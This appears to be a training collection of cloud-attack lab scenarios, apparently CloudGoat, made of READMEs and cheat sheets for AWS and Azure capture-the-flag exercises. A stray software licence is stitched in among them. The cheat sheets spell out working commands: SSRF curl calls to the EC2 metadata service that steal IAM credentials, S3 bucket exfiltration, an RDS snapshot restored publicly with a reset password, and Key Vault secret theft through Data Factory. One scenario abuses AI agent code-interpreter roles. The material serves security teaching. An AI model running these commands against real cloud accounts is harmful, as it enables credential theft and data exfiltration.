deardaniel/secdata-raw huggingface dataset:
cheat sheet calrissian

`aws configure --profile Solo`

`aws codebuild list-projects --profile Solo`

`aws codebuild batch-get-projects --names <project> --profile Solo`

`aws configure --profile Calrissian`

`aws rds describe-db-instances --profile Calrissian`

`aws rds create-db-snapshot --db-instance-identifier <instanceID> --db-snapshot-identifier cloudgoat --profile Calrissian`

`aws rds describe-db-subnet-groups --profile Calrissian`

`aws ec2 describe-security-groups --profile Calrissian`

`aws rds restore-db-instance-from-db-snapshot --db-instance-identifier <DbInstanceID> --db-snapshot-identifier <scapshotId> --db-subnet-group-name <db subnet group> --publicly-accessible --vpc-security-group-ids <ec2-security group> --profile Calrissian`

`aws rds modify-db-instance --db-instance-identifier <DbName> --master-user-password cloudgoat --profile Calrissian`

`psql postgresql://cgadmin@pwnedfinal.crkxmju52zsx.us-east-1.rds.amazonaws.com:5432/postgres`

`\l`

`\c securedb`

`select * from sensitive_information`
README

# Scenario: cloud_breach_s3

**Size:** Small

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create cloud_breach_s3`

## Scenario Resources

* 1 VPC with:
  * EC2 x 1
  * S3 x 1

## Scenario Start(s)

1. The IP Address of an EC2 server that is running a misconfigured reverse proxy

## Scenario Goal(s)

Download the confidential files from the S3 bucket.

## Summary

Starting as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data from an S3 bucket.

## Exploitation Route(s)

![Scenario Route(s)](https://www.lucidchart.com/publicSegments/view/3ffe907e-6281-47e9-b7bf-e07fdcb48103/image.png)

## Route Walkthrough - Anonymous Attacker

1. The attacker finds the IP of an EC2 instance by shady means, and after some reconnaissance realizes that it is acting as a reverse-proxy server. This is common, especially for organizations in the process of moving from on-premise to the cloud.
2. After some research, the attacker uses `CURL` to send a request to the web server and set the host header to the IP address of EC2 metadata service.
3. The attacker's specially-crafted CURL command is successful, returning the Access Key ID, Secret Access Key, and Session Token of the IAM Instance Profile attached to the EC2 instance.
4. With the IAM role's credentials in hand, the attacker is now able to explore the victim's cloud environment using the powerful permissions granted to the role.
5. The attacker is then able to list, identify, and access a private S3 bucket.
6. Inside the private S3 bucket, the attacker finds several files full of sensitive information, and is able to download these to their local machine for dissemination.

A cheat sheet for this route is available [here](./cheat_sheet.md).
cheat sheet

`curl -s http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'`

​
`curl http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/<ec2-role-name> -H 'Host:169.254.169.254'`

​
`aws configure --profile erratic`

​
`aws_session_token = <session-token>`

​
`aws s3 ls --profile erratic`

​
`aws s3 sync s3://<bucket-name> ./cardholder-data --profile erratic`
README

# Scenario: s3_version_rollback_via_cfn

**Size:** Small

**Difficulty:** Hard

**Command:** `$ ./cloudgoat.py create s3_version_rollback_via_cfn`

### 🧹 Clean up versioned S3 buckets before CG destroy: 
Make sure to run this script before CG destroy, run:
```
bash ./cleanup_s3.sh
```
💡 This script must be executed from the same directory where start.txt is located, as it automatically reads Terraform outputs (such as cgid and profile) from that file generated by cloudgoat create.
And handles Governance Locked buckets using --bypass-governance-retention when necessary.

## Scenario Resources

* 1 IAM User
* S3 x 1

## Scenario Start(s)

1 IAM User, 1 Public S3 website endpoint URL

## Scenario Goal(s)

Recover the previous version of `index.html` in the S3 static website and expose the hidden FLAG.

## Summary

Start with an S3 static website and a Web Manager IAM User. The attacker checks permissions to identify vulnerabilities in S3 versioning and object locking, and bypasses them to escalate privileges. Analyze permissions to restore previous versions of the page and get the "FLAG".

## Exploitation Route(s)

![Scenario Route(s)](./assets/route.png)

## Walkthrough - s3_version_rollback_via_cfn

1. The attacker accesses a publicly exposed static website hosted on S3. At first glance, it appears to be a simple landing page, but by analyzing the URL structure, they deduce that it's using S3 static website hosting.

2. By exploring the permissions associated with their IAM credentials, the attacker discovers that they have access to list objects and object versions within the S3 bucket.

3. The attacker finds that the `index.html` object exists in two versions, and the older version contains sensitive information.

4. The attacker has obtained the previous version of the file, but is unable to download the important flag file. Attacker realizes that he must restore it directly to the web page. But `PutObject` permission was Deny.

5. Analysis of the user's inline IAM policy shows that the attacker is allowed 'Cloud Formation: CreateStack' and 'Lambda: InvokeFunction'. It also checks the Role of resources with passrole privileges.

6. Check the roles and the policies attached to them to create a cloud information stack by creating a lambda function as a template that uploads objects to their buckets.

7. Invoke the functions created in the stack using IAM permissions.

8. The Lambda function created by the template allows an attacker to re-upload the previously obtained 'index.html', effectively overwriting the current version to the previous version.

9. When you revisit the static website URL, the modified index page is activated, flagged, and the scenario is complete.

10. This led us to realize that the combination of object locking and version management was a pointless security setting, and we successfully leveraged the misconfigured IAM Role and CloudFormation to expand our authority.

A cheat sheet for this route is available [here](./cheat_sheet.md).
README

# Scenario: sns_secrets

**Size:** Small

**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create sns_secrets`

**TryHackMe Room:** [SNS Secrets Walkthrough](https://tryhackme.com/jr/snssecretswalkthrough)

## Scenario Resources

- 1 EC2 instance
- 1 SNS topic
- 1 API Gateway REST API
- 1 IAM role
- 1 IAM user

## Scenario Start(s)

1. AWS Access Key and Secret Key

## Scenario Goal(s)

Get the final flag by invoking the API Gateway with the leaked API key.

## Summary

In this scenario, you are given AWS credentials. Your task is to enumerate permissions and discover that you have the ability to list and subscribe to SNS topics. Use Pacu's new modules, "sns__enum" and "sns__subscribe," to subscribe to the topic. You will receive an email from the topic containing an API Key as a debug message. Next, use the AWS CLI to enumerate the API Gateways and find the path, method, stage, and resource of the API Gateway. Finally, perform a curl request with the API key to retrieve the final flag.

## Exploitation Route

![Lucidchart Diagram](exploitation_route.png "Exploitation Route")

## Walkthrough - SNS Secrets

1. Start by enumerating the permissions of the provided AWS access key and secret key.
2. Enumerate SNS topics using the `sns__enum` module in Pacu to list the available topics.
3. Subscribe to the identified SNS topic using the `sns__subscribe` module in Pacu.
4. Confirm the subscription via the email you receive.
5. Wait for the SNS topic to publish messages and check your email for a message containing an API Key.
6. Enumerate API Gateways using the AWS CLI to find the API Gateway path, method, stage, and resource.
7. Identify the correct method and stage for the API Gateway.
8. Use `curl` with the API Key to invoke the API Gateway and retrieve the final flag.

A detailed cheat sheet & walkthrough for this route is available [here](./cheat_sheet.md).
README


# Scenario: agentcore_identity_confusion

**Size:** Medium

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create agentcore_identity_confusion`

## Scenario Resources

- 1 IAM User
- 2 IAM Roles
- 2 S3 Buckets
- 1 Bedrock KnowledgeBase (Backed by an OpenSearch Collection)

## Scenario Start(s)

1. IAM User Sandy

## Scenario Goal(s)

You know your account's Bedrock AgentCore agents have access to sensitive data, but you can't seem to find a way to spin any agent instances up... Using alternate means, find a way to gain access to the Agent Runtime's source of sensitive data.

## Summary

Starting as the IAM user Sandy, the attacker discovers that they have permissions to manage agentcore code interpreters and pass agentcore roles. The attacker realizes that agent runtime roles have the same service trust as code interpreter roles, and creates a code interpreter with the agent runtime role. Then, the attacker starts a code interpreter session and invokes the code interpreter directly to exfiltrate data from the bedrock knowledgebase the agent runtimes have access to. 

## Exploitation Route(s)

![Scenario Route(s)](https://lucid.app/publicSegments/view/0931455b-29ec-4aab-9ea8-1100a2bf26a9/image.png)

## Walkthrough - IAM User "Sandy"

1. Starting as the IAM user "Sandy",  the attacker analyses their privileges.
2. The attacker realizes they have access to:
    - IAM and Bedrock Read Operations
    - `iam:PassRole` for all agentcore roles (there are 2)
    - AgentCore Code Interpreter management permissions
3. The attacker examines the roles they can pass:
   - `agentcore_code_interpreter_role` can access an S3 bucket
   - `agentcore_agent_runtime_role` can access foundation models, invoke code interpreters, and access a knowledgebase
4. (Optional) The attacker creates a code interpreter with `agentcore_code_interpreter_role`, and invokes it to examine the S3 bucket
5. The attacker creates a code interpreter with `agentcore_code_interpreter_role`, and invokes it to examine the KnowledgeBase

A cheat sheet for this route is available [here](./cheat_sheet.md).
README


# Scenario: vulnerable_lambda

**Size:** Small

**Difficulty:** Medium

**Command:** `$ ./cloudgoat.py create vulnerable_lambda`

## Scenario Resources

- 1 IAM User
- 1 IAM Role
- 1 Lambda
- 1 Secret

## Scenario Start(s)

1. IAM User 'bilbo'

## Scenario Goal(s)

Find the scenario's secret. (cg-secret-XXXXXX-XXXXXX)

## Summary

In this scenario, you start as the 'bilbo' user. You will assume a role with more privileges, discover a 
lambda function that applies policies to users, and exploit a vulnerability in the function to escalate 
the privileges of the bilbo user in order to search for secrets.

## Exploitation Route(s)

![Lucidchart Diagram](exploitation_route.png "Exploitation Route")


## Walkthrough - IAM User "bilbo"

1. Get permissions for the 'bilbo' user.
2. List all roles.
3. List lambdas to identify the target lambda.
4. Look at the lambda source code.
5. Assume the lambda invoker role.
6. Craft an injection payload to send through the CLI.
7. Base64 encode that payload. The single quote injection character is not compatible with the aws cli command otherwise.
8. Invoke the policy applier lambda function, passing the name of the bilbo user and the injection payload.
9. Now that Bilbo is an admin, use credentials for that user to list secrets from secretsmanager.

A cheat sheet for this route is available [here](./cheat_sheet.md).
LICENSE

Copyright 2014 Pallets

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

1.  Redistributions of source code must retain the above copyright
    notice, this list of conditions and the following disclaimer.

2.  Redistributions in binary form must reproduce the above copyright
    notice, this list of conditions and the following disclaimer in the
    documentation and/or other materials provided with the distribution.

3.  Neither the name of the copyright holder nor the names of its
    contributors may be used to endorse or promote products derived from
    this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
README


# Scenario : SQS_FLAG_Shop

**Size:** Medium
**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create sqs_flag_shop`

### Scenario Resources

- 1 VPC with:
    - Lambda  x 1
    - RDS x1
    - EC2 x1
- SQS
- IAM Users x 1

### Scenario Start(s)

1 IAM User, Web address

## Scenario Goal(s)

Buy FLAG successfully on the shop site

## Summary

The first web page will be provided. Attackers check the privileges they currently have and perform privilege escalation. Find and analyze the hidden web source code, and think about how you can buy “FLAG” using the privileges you have!

## Exploitation Route(s)

![Scenario Route(s)](assets/route.png)

## Route Walkthrough

1. The attacker accesses the web page and identifies the features first
2. The attacker checks the privileges it has
3. Find the web source code. By analyzing the source code, the attacker checks the format of message sent to the SQS service
4. Assume the the sending message role about SQS service
5. The attacker, who possesses the necessary permissions, sends a forged message to the SQS service queue
6. Check the changed assets, purchase FLAG and check the secret-string

**A cheat sheet for this route is available [here](cheat_sheet.md)**
README

Scenario: data_secrets
======================

**Size:** Small

**Difficulty:** Easy

**Command:** `./cloudgoat.py create data_secrets`

Scenario Resources
------------------

-   1 IAM User

-   1 EC2 Instance

-   1 IAM Role

-   1 Lambda Function

-   1 Secrets Manager Secret

Scenario Start(s)
-----------------

1.  AWS Access Key and Secret Key

Scenario Goal(s)
----------------

Retrieve the final flag stored in the AWS Secrets Manager.

Summary
-------

In this scenario, you start with an IAM user with limited permissions. Your task is to identify a misconfigured EC2 instance leaking credentials in its User Data, allowing you to gain SSH access. From there, you must pivot by exploiting the Instance Metadata Service (IMDS) to steal a role, enumerate Lambda functions to find hidden environment variables, and finally compromise a user with access to the scenario's objective: a secret stored in AWS Secrets Manager.

Exploitation Route
------------------

Walkthrough - Data Secrets
--------------------------

1.  Start by configuring your AWS CLI with the provided starting credentials.

2.  Enumerate your permissions to discover the ability to read EC2 attributes.

3.  Inspect the EC2 User Data to find hardcoded system user credentials.

4.  SSH into the exposed EC2 instance using the credentials found in the User Data.

5.  Query the EC2 Instance Metadata Service (IMDS) to steal the temporary credentials for the attached IAM Instance Profile.

6.  Use the stolen session credentials to enumerate Lambda functions and view their configurations.

7.  Discover a set of hardcoded AWS Access Keys hidden inside a Lambda function's Environment Variables.

8.  Configure a final profile with these keys and use them to retrieve the flag from AWS Secrets Manager.

A detailed cheat sheet & walkthrough for this route is available [here](./cheat_sheet.md).
README

# Scenario: secrets_in_the_cloud

**Size:** Large

**Difficulty:** Hard

**Command:** `$ ./cloudgoat.py create secrets_in_the_cloud`

## Resources

* 1 Lambda
* 1 EC2
* 1 S3
* 1 DynamoDB
* 1 Secrets Manager Secret
* 2 IAM Users

## Start

1. IAM User: low-priv-user

## Goal

Find the final secret in Secrets Manager.

## Summary

As an IAM user with limited privileges, the attacker initiates their journey by examining AWS resources to uncover clues and hidden information. This investigation ultimately results in acquiring a role that grants access to the scenario's primary objective: retrieving the final secret from Secrets Manager. Please note that this walkthrough outlines the intended path for completing the scenario. However, alternative approaches may exist, and we would be delighted to learn about any unique methods used to reach the finish line.

## Path

![Path](./path.png)

## Walkthrough

1. As the IAM user "low-priv-user", the attacker explores the AWS environment, discovering an S3 bucket containing the URL to a web application hosted on an EC2 instance.
2. The attacker enumerates the web application and uncovers an admin page that prompts for an API key.
3. While examining the admin page's HTML comments, the attacker finds information about environment variables and a HashiCorp endpoint (located on port 8200 of the EC2 instance).
4. By enumerating the scenario's Lambda function, the attacker locates the web application's API key and uses it to obtain the HashiCorp vault token.
5. The attacker leverages the vault token to log in to the HashiCorp endpoint and acquires the id_rsa key, which grants SSH access to the EC2 instance hosting the web application.
6. Intrigued by the login message, the attacker queries the EC2 metadata service and discovers that IMDSv2 is in use.
7. The attacker queries the EC2 metadata service again, using a token in the header of the request to successfully obtain a response.
8. After enumerating the EC2 metadata service, the attacker decides to list available DynamoDB tables and discovers a table containing IAM user credentials specific to the scenario.
9. Utilizing the newly acquired IAM user credentials, the attacker retrieves the final secret from the Secrets Manager, successfully completing the scenario.

A cheat sheet for the scenario is available [here](./cheat_sheet.md).
cheat sheet

```
export AWS_ACCESS_KEY_ID=[low-priv-user]
export AWS_SECRET_ACCESS_KEY=[low-priv-user]
```

`aws s3 ls`

`aws s3 ls s3://[bucket]`

`aws s3 cp s3://[bucket]/nates_web_app_url.txt .`

`cat nates_web_app_url.txt`

`aws lambda list-functions`

`export VAULT_ADDR='http://[web_app_ip]:8200'`

`vault login TorysTotallyTubular456`

`vault kv get secret/id_rsa`

`echo "[id_rsa]" >> id_rsa`

`chmod 400 id_rsa`

`ssh -i id_rsa ec2-user@[web_app_ip]`

`TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")`

`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info`

`aws dynamodb list-tables`

`aws dynamodb scan --table-name [table]`

```
export AWS_ACCESS_KEY_ID=[secrets-manager-user]
export AWS_SECRET_ACCESS_KEY=[secrets-manager-user]
```

`aws secretsmanager list-secrets`

`aws secretsmanager get-secret-value --secret-id [secret]`
README

Scenario: iam_enum_basics
=========================

**Size:** Small

**Difficulty:** Easy

**Command:** `./cloudgoat.py create iam_enum_basics`

Scenario Resources
------------------

-   1 IAM User

-   1 IAM Group

-   1 IAM Role

-   1 IAM Managed Policy

-   1 IAM Inline Policy

Scenario Start(s)
-----------------

1.  AWS Access Key and Secret Key

Scenario Goal(s)
----------------

Find the 5 hidden flags (formatted as `HSM{text}` or similar) by manually enumerating IAM resources and metadata using the AWS CLI.

Summary
-------

In this scenario, you start with the access keys for a low-level IAM user named Bob. Your task is to perform thorough IAM enumeration using the AWS CLI. By investigating managed policies, inline policies, group memberships, and assumable roles, you will uncover five distinct flags hidden deep within the AWS resource metadata (such as descriptions, Statement IDs, hierarchical paths, tags, and JSON target resources).

Exploitation Route
------------------

Walkthrough - IAM Enumeration Basics
------------------------------------

1.  Start by configuring your AWS CLI with the provided starting credentials.

2.  Enumerate the attached managed policies and read their metadata to find Flag 1 in the policy's Description.

3.  Enumerate inline user policies and parse the JSON document to find Flag 2 hidden in the Statement ID (`Sid`).

4.  List the user's group memberships to find Flag 3 hidden within the group's organizational Path.

5.  Enumerate the IAM roles in the account and inspect the target role's metadata to find Flag 4 stored in the AWS Tags.

6.  Retrieve the default version of the managed policy document to find Flag 5 hidden as the target Resource ARN.

A detailed cheat sheet & walkthrough for this route is available [here](cheatsheet.md).
README

# Scenario: datafactory_secret_theft
**Size:** Small  
**Dificulty:** Easy  
**Command:** `cloudgoat create datafactory_secret_theft`  

## Scenario Resources
- 1 Data Factory (ADF)
- 1 Key Vault

## Scenario Start(s)
1. Azure user: `cloudgoat-user[ID]@rhinosecuritylabs.onmicrosoft.com`
2. Data Factory URL

## Scenario Goal(s)
Obtain the flag from Key Vault.

## Summary
Starting as the CloudGoat created user, access the Data Factory and figure out how to exfiltrate secrets from the linked service Key Vault.

## Route Walkthrough
1. Using the provided credentials and Data Factory URL, log into Data Factory.
2. Identify the linked service Key Vault and its name.
3. Use a Data Factory Pipeline web request to exfiltrate the secret name and secret value.

A cheat sheet for this route is available [here](./cheat_sheet.md).
cheat sheet


### Enumerate Linke Services
1. Open the Data Factory URL and log in as the starting CloudGoat user.
2. Click "Manage" > "Linked services". Then click on the linked Key Vault.
3. Note the linked Key Vault's Base URL.

### Exfiltrate the secret using Data Factory Pipeline's "Web" feature
1. Click "Author" > "Pipelines Actions" (three dots) > "New Pipeline".
2. Drop down "General".
3. Drag "Web" to the Pipeline designer.
4. Click "Settings".
5. Set the URL to https://{vault-baseurl}/secrets?api-version=7.3
6. Set Method to "GET".
7. Set "Authentication" to "system-assigned managed identity". (This will use the privileges assigned to the Data Factory).
8. Set the "Resource" to https://vault.azure.net/.
9. Click "Debug".
10. Wait for the request to complete and click output to view the response of the request containing the secret name.
11. Repeat this but use the URL:  https://{vault-baseurl}/{secret_name_from_step_10}?api-version=7.3
12. This response will give you the flag contained in Key Vault.
cheat sheet

# [SCENARIO NAME] Walkthrough

## Summary

POC Azure Environment 

## Detailed Walkthrough

No walkthrough, this scenario is a POC for cloudgoat create on azure.